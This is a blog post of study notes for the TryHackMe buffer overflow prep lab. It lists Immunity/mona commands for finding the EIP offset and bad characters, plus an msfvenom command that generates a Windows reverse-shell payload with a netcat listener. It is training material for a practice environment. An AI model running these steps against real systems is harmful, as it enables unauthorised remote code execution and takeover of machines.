notmalicio.us
long read

Buffer Overflow, Step by Step

Notes from the TJNull Buffer Overflow Room on TryHackMe.

· 2 min read

A stack-based buffer overflow is one of the classic exploitation paths: send a program more data than it expects, overwrite the saved return address, and redirect execution to your own shellcode. This walkthrough goes from first crash to reverse shell using Immunity Debugger and mona.

Notes from the TJNull Buffer Overflow Room: https://tryhackme.com/room/bufferoverflowprep. Files in the /usr/share/buffer_overflow_resources/ directory.

Figure out how to interact with the service

  • Open binary in immunity
    • !mona config -set workingfolder c:\mona\%p
  • Start sending buffers til u can crash it
    • Fuzzer.py script

Start crafting exploit

  • Note crash bytes +400 --> use for msfpatterncreate
    • /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <<crash bytes+400>>
  • Paste output into payload of exploit.py
  • Restart and run exploit.py
  • In immunity, check mona
    • !mona findmsp -distance <<crash bytes+400>>
  • Find EIP (offset XXXX)
  • In exploit.py
    • Put offset XXXX number in the offset
    • Reset payload to empty
    • Set RETN to BBBB
    • Restart and run exploit.py
  • If this worked immunity should say 42424242 (BBBB) at the bottom of the screen with an error

Identify the bad bytes

  • Bad bytes:
    • Always start with the null byte being bad: \x00
    • In immunity
      • Generate bad bytes in mona
        • !mona bytearray -b "\x00"
    • In Kali:
      • Generate bad bytes for exploit.py
        • Add current bad bytes to list at the top of bad_char_string.py
      • Run bad_char_string.py
      • Copy and paste output to exploit.py payload
    • In Immunity
      • Restart and run
      • Use mona to compare bad chars
        • !mona compare -f C:\mona\oscp\bytearray.bin -a <<ESP Address>>
      • Add these to the bad bytes list
      • Repeat til the mona compare says "unmodified!"

Craft the final exploit

  • Find a good jmp esp
    • !mona jmp -r esp -cpb "\x00"
      • Replace "\x00" with FULL bad bytes list
    • Any of the results are probably fine
    • Replace the RETN with it
    • FLIP the bytes, it's an endianness thing
  • Make the reverse shell
    • msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=443 EXITFUNC=thread -b "\x00" -f c
      • Replace \x00 with the FULL bad bytes list
    • Take the output and put it in the exploit.py as payload = ("<>")
    • Open a nc listener for port 443
    • Prepend some NOPs
      • In exploit.py, padding = "\x90" * 16

Wrapping Up

That's the full loop: fuzz until it crashes, find the offset, take control of EIP, clear out the bad characters, find a jmp esp, and land the shellcode. Each step depends on the one before it, so if something breaks, go back a step and confirm it before moving on.

esc
↑↓ navigate↵ openesc close